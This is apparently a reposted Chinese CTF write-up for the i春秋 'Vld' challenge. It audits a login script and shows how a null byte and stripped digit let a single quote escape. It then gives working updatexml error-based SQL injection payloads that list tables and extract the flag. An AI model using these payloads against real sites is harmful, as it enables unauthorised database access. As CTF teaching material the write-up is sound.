首页 > 其他 > 详细

i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)

时间:2020-05-07 22:01:50      阅读:137      评论:0      收藏:0      [点我收藏+]

题目源代码给出了提示index.php.txt,打开拿到了一段看不太懂得东西。
技术分享图片
图片标注的有flag1,flag2,flag3,同时还有三段字符,然后还出现了_GET,脑洞一一点想到访问

?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

后面还提示了一步the next is XXX.zip,估计是要下载网站的备份压缩包。也确实是这样的,我们下载到了1chunqiu.zip,下面就是代码审计了。
在login.php里面对$username这个变量的处理存在漏洞会导致单引号逃逸从而导致sql注入漏洞。
下面这个地方对$username的处理是将$username中的$number删除。然后去空。同时在进行sql查询的时候$username会被单引号包裹。
技术分享图片
但是在这之前用经过safe_data函数的处理,这个函数返回的值是转义过的。
技术分享图片
%00会被转义成\0 ,同时在进行sql查询的时候$username会被单引号包裹,那么可以想办法闭合掉单引号。如果$username的值是%00‘,经过safe_data处理%00‘变成\0‘,这个时候如果0去掉那就变成\‘,\对\转义那么‘就可以逃逸出来,我们可以使$number=0,那么就可以使单引号逃逸出来。
接着使用updatexml报错注入
数据库报错,说明单引号逃逸成功。因为后台的sql语句为:

select * from `table_name where` where username=‘\\‘‘;

那么多出个单引号肯定报错。
技术分享图片
暴表

username=%00‘ and updatexml(1,mid((select concat(1,group_concat(table_name)) from information_schema.tables where table_schema=database()),1),1)#&password=9&number=0

技术分享图片
前半段的flag

username=%00‘ and updatexml(1,mid((select * from flag),1,41),1)#&password=9&number=0

技术分享图片
后半段flag

username=%00‘ and updatexml(1,mid((select * from flag),21,41),1)#&password=9&number=0

技术分享图片

i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)

原文:https://www.cnblogs.com/HelloCTF/p/12845547.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!